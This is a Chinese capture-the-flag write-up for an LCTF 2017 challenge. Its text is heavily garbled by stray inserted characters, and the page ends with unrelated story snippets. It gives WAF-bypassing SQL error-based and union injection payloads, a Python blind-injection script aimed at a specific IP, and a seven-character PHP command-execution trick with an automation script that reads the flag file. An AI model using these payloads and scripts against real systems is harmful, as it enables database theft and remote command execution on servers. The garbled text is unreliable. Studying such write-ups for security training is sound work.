LCTF的一道sql報(bào)錯(cuò)注入+七個(gè)字符命令執(zhí)行

自從很多開發(fā)人員禁止回顯錯(cuò)誤以后坪郭,sql報(bào)錯(cuò)注入脊框,就很少見了,所以一直沒什么機(jī)會(huì)接觸渣触,感謝LCTF給我這個(gè)機(jī)會(huì),23333

該題目的waf禁用了information_schema壹若,table嗅钻,column,以及許多報(bào)錯(cuò)注入的函數(shù)等

題目:http://182.254.246.93/

image.png

提示沒有源碼泄露店展,也不需要爆破表名养篓,列名,還給了個(gè)入口文件

和一個(gè)Tips:將表的某一個(gè)字段名赂蕴,和表中某一個(gè)表值進(jìn)行字符串連接柳弄,就可以得到下一個(gè)入口

image.png

注入得到字段數(shù)量是4,而且回顯位置在第二個(gè)睡腿,并且database()被禁了


image.png

image.png

對(duì)應(yīng)關(guān)系是

pro_id        pro_name

1             car
2             iphone11
3             nextentrance

pro_name是我猜的语御,我猜測后端的邏輯大致是

select * from databasexxx.tablexxx where pro_id = $_POST['pro_id']
raw=mysql_fetch_row($result);
然后只顯示raw[1],也就是只顯示是第二列pro_name的內(nèi)容席怪,而且只顯示一行內(nèi)容
image.png

是數(shù)字型应闯,不用閉合,但是information_schema挂捻,table碉纺,column等很多被禁

直到后面報(bào)錯(cuò)得到了庫名


image.png
pro_id= 1 and (extractvalue(1,concat(0x7e,(select * from abc),0x7e)))
image.png

看SSRF那道了,賽后看了pcat大佬的writeup刻撒,才知道報(bào)錯(cuò)注入這么叼骨田,完全不需要information_schema,現(xiàn)在復(fù)現(xiàn)一下大佬的wp

參考鏈接如下:
http://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247484338&idx=1&sn=33dc65055c9e00ce487f89c4c1ff4098&chksm=e89e2b6adfe9a27c02fc3235f319f295871fac1dd2dc3490362d644493643664cd13643ba0f9&mpshare=1&scene=1&srcid=1120z3l2FIpnrX8rZyDeQZXe#rd

報(bào)錯(cuò)得到當(dāng)前的庫名声怔、表名态贤、列名

pro_id=0 and linestring(pro_id)
分別是youcanneverfindme17 product_2017ctf pro_id

image.png

通過select select的報(bào)錯(cuò)注入,結(jié)合 join醋火,逐步得到各列

pro_id=0 and (select * from (select * from youcanneverfindme17.product_2017ctf a join youcanneverfindme17.product_2017ctf b using (pro_id))c)
image.png

得到列 pro_name 悠汽,說明我之前猜對(duì)了,嘖嘖嘖

go on

pro_id=0 and (select * from (select * from youcanneverfindme17.product_2017ctf a join youcanneverfindme17.product_2017ctf b using (pro_id,pro_name))c)
image.png

得到列owner

pro_id=0 and (select * from (select * from youcanneverfindme17.product_2017ctf a join youcanneverfindme17.product_2017ctf b using (pro_id,pro_name,owner))c)
image.png

得到列d067a0fa9dc61a6e

現(xiàn)在四個(gè)列到齊了芥驳,分別是 pro_id pro_name owner 和 d067a0fa9dc61a6e

接下來只需查詢列d067a0fa9dc61a6e 的字段內(nèi)容柿冲,估計(jì)會(huì)是 XXX.php,然后就能拼接得到下一個(gè)入口了

pro_id=0 union select 1 , d067a0fa9dc61a6e from product_2017ctf , 3 , 4#
無奈waf禁了這個(gè)列名

image.png

這里Pcat用的是盲注的方法兆旬,詳細(xì)原理可參考文章
http://wonderkun.cc/index.html/?p=547

這里可以搭建跟題目類似的環(huán)境

create database test_base;
use test_base;
create table test_table(pro_id int auto_increment not null primary key,pro_name char(20),owner char(20),d067a0fa9dc61a6e char(30));
show tables;
describe test_table;
insert into test_table(pro_name) values('car');
insert into test_table(pro_name) values('iphone11');
insert into test_table(pro_name) values('nextentrance');
update test_table set d067a0fa9dc61a6e='7195CA99696B5A896.php' where pro_name='nextentrance';
select * from test_table;

image.png

然后用 order by 4 des 進(jìn)行遞減排序假抄,然后在第四個(gè)字段select,mysql排序的時(shí)候會(huì)從左到右,逐位ascii碼對(duì)比大小宿饱,然后排序熏瞄,直接看圖吧
7195CA99696B5A896.php
的hex編碼是 0x37313935434139393639364235413839362e706870
image.png

可以看到,當(dāng)ascii碼或者h(yuǎn)ex碼谬以,小于或者等于目標(biāo)0x3731的時(shí)候巴刻,都是先搜出nextentrance,而大于的時(shí)候蛉签,比如0x3732的時(shí)候胡陪,就搜出2,所以減一就是我們的目標(biāo)碍舍,0x3731了柠座,然后逐位得出,最后hex解碼得到想要的字段內(nèi)容7195CA99696B5A896.php

這里給出pcat的腳本

# -*- coding:utf8 -*-
__author__='pcat@chamd5.org'

import requests
import time
import string

def foo():
    url=r'http://182.254.246.93/entrance.php'
    mys=requests.session()
    x="3 union distinct select 1,2,3,0x%s  order by 4 desc"
    cset=string.maketrans('','')[33:127]
    pwd=''
    while True:
        try:
            for i in cset:
                myd={'pro_id':x %(pwd+i).encode('hex')}
                res=mys.post(url,data=myd).content
                if 'nextentrance' not in res:
                    pwd+=chr(ord(i)-1)
                    print pwd
                    break
                pass
            time.sleep(0.01)
        except:
            print '_ _'
            time.sleep(0.5)
        pass

    pass

if __name__ == '__main__':
    foo()
    print 'ok'

然后我在想片橡,難道就沒有別的方法嗎妈经,后來我谷歌到了,不需要列名捧书,就能得到字段內(nèi)容的方法吹泡,嘖嘖嘖,可參考文章
http://blog.7ell.me/2017/05/30/2017-DDCTF-SQL%E6%B3%A8%E5%85%A5%E4%B9%8B%E8%BF%87%E6%BB%A4%E5%88%97%E5%90%8Dget%E6%95%B0%E6%8D%AE/

這里給出我測試成功的payload
關(guān)鍵是利用e经瓷,這個(gè)虛表爆哑,然后用e.4指定第4列,然后記得 limit 1 offset 3 來指定第4列舆吮,不然mysql會(huì)因?yàn)榉祷財(cái)?shù)據(jù)的行數(shù)不同而報(bào)錯(cuò)

pro_id= 0 union select 1,   group_concat(distinct(select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from product_2017ctf )e limit 1 offset 3)),3,4#
image.png

終于得到了下一個(gè)入口

d067a0fa9dc61a6e7195ca99696b5a896.php
只能寫7個(gè)字符


image.png

image.png

嘗試傳入數(shù)組揭朝,如 filename[] 和 content[] 能否繞過,失敗

這里還是直接看Pcat的writeup色冀,寫得很清晰潭袱,7個(gè)字符命令執(zhí)行

按順序POST提交下面3條

filename=p.php&content=<?=`*`; 記得別漏了分號(hào)
filename=bash&content=xxx
filename=bash2&content=ls /

再訪問p.php,就可以看到
327a6c4304ad5938eaf0efb6cc3e53dc.php

再POST
filename=bash2&content=cat /3*
再去訪問p.php锋恬,右鍵查看源代碼看到flag

詳細(xì)的過程:

p.php的<?=`*`; 其中的*會(huì)展開成當(dāng)前文件夾下的文件屯换,并按字母順序排列
大致上等價(jià)于
<?php echo `bash bash2 index.html p.php` ?>

訪問p.php的時(shí)候,bash會(huì)被識(shí)別為命令而非文件与学,然后就會(huì)去執(zhí)行bash2這個(gè)文件里的命令彤悔,后面的文件無視掉

通過修改bash2這個(gè)文件的內(nèi)容就可以構(gòu)造命令執(zhí)行。

這里給個(gè)腳本

import requests
import re
url = "http://182.254.246.93/d067a0fa9dc61a6e7195ca99696b5a896.php"
user_agent = "xxx"
t = requests.post(url, headers = {'User-agent': user_agent }, data = {"filename":"aaa.php", "content":"<?=`*`;"}).text
[path] = re.findall('files.*/aaa.php', t)
requests.post(url, headers = {'User-agent': user_agent }, data = {"filename":"bash", "content":'anything'})
requests.post(url, headers = {'User-agent': user_agent }, data = {"filename":"bash2", "content":'cat /3*'})
url1 = "http://182.254.246.93/"
r = requests.get(url1+path)
print r.text

話說癣防,hitcon2017的5個(gè)字符命令執(zhí)行和4個(gè)字符命令執(zhí)行這兩道題還沒復(fù)現(xiàn)呢蜗巧,太懶了掌眠,Orz....

走過路過蕾盯,歡迎糾錯(cuò)

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子级遭,更是在濱河造成了極大的恐慌望拖,老刑警劉巖,帶你破解...
    沈念sama閱讀 222,183評(píng)論 6 516
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件挫鸽,死亡現(xiàn)場離奇詭異说敏,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)丢郊,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,850評(píng)論 3 399
  • 文/潘曉璐 我一進(jìn)店門盔沫,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人枫匾,你說我怎么就攤上這事架诞。” “怎么了干茉?”我有些...
    開封第一講書人閱讀 168,766評(píng)論 0 361
  • 文/不壞的土叔 我叫張陵谴忧,是天一觀的道長。 經(jīng)常有香客問我角虫,道長沾谓,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 59,854評(píng)論 1 299
  • 正文 為了忘掉前任戳鹅,我火速辦了婚禮均驶,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘枫虏。我一直安慰自己辣恋,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 68,871評(píng)論 6 398
  • 文/花漫 我一把揭開白布模软。 她就那樣靜靜地躺著伟骨,像睡著了一般。 火紅的嫁衣襯著肌膚如雪燃异。 梳的紋絲不亂的頭發(fā)上携狭,一...
    開封第一講書人閱讀 52,457評(píng)論 1 311
  • 那天,我揣著相機(jī)與錄音回俐,去河邊找鬼逛腿。 笑死,一個(gè)胖子當(dāng)著我的面吹牛仅颇,可吹牛的內(nèi)容都是我干的单默。 我是一名探鬼主播,決...
    沈念sama閱讀 40,999評(píng)論 3 422
  • 文/蒼蘭香墨 我猛地睜開眼忘瓦,長吁一口氣:“原來是場噩夢啊……” “哼搁廓!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,914評(píng)論 0 277
  • 序言:老撾萬榮一對(duì)情侶失蹤境蜕,失蹤者是張志新(化名)和其女友劉穎蝙场,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體粱年,經(jīng)...
    沈念sama閱讀 46,465評(píng)論 1 319
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡售滤,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,543評(píng)論 3 342
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了台诗。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片完箩。...
    茶點(diǎn)故事閱讀 40,675評(píng)論 1 353
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖拉队,靈堂內(nèi)的尸體忽然破棺而出嗜憔,到底是詐尸還是另有隱情,我是刑警寧澤氏仗,帶...
    沈念sama閱讀 36,354評(píng)論 5 351
  • 正文 年R本政府宣布吉捶,位于F島的核電站,受9級(jí)特大地震影響皆尔,放射性物質(zhì)發(fā)生泄漏呐舔。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 42,029評(píng)論 3 335
  • 文/蒙蒙 一慷蠕、第九天 我趴在偏房一處隱蔽的房頂上張望珊拼。 院中可真熱鬧,春花似錦流炕、人聲如沸澎现。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,514評(píng)論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽剑辫。三九已至,卻和暖如春渠欺,著一層夾襖步出監(jiān)牢的瞬間妹蔽,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,616評(píng)論 1 274
  • 我被黑心中介騙來泰國打工挠将, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留胳岂,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 49,091評(píng)論 3 378
  • 正文 我出身青樓舔稀,卻偏偏與公主長得像乳丰,于是被迫代替她去往敵國和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子内贮,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,685評(píng)論 2 360

推薦閱讀更多精彩內(nèi)容

  • @synthesize和@dynamic分別有什么作用?@property有兩個(gè)對(duì)應(yīng)的詞淆两,一個(gè)是 @synthes...
    筆筆請(qǐng)求閱讀 517評(píng)論 0 1
  • 什么是SQL數(shù)據(jù)庫: SQL是Structured Query Language(結(jié)構(gòu)化查詢語言)的縮寫。SQL是...
    西貝巴巴閱讀 1,822評(píng)論 0 10
  • sqlmap用戶手冊(cè) 說明:本文為轉(zhuǎn)載拂酣,對(duì)原文中一些明顯的拼寫錯(cuò)誤進(jìn)行修正秋冰,并標(biāo)注對(duì)自己有用的信息。 ======...
    wind_飄閱讀 2,056評(píng)論 0 5
  • [SQL注入攻擊] SQL注入攻擊是黑客對(duì)數(shù)據(jù)庫進(jìn)行攻擊的常用手段之一婶熬。隨著B/S模式應(yīng)用開發(fā)的發(fā)展剑勾,使用這種模式...
    James黃杰閱讀 2,674評(píng)論 0 30
  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 當(dāng)給sq...
    xuningbo閱讀 10,335評(píng)論 2 22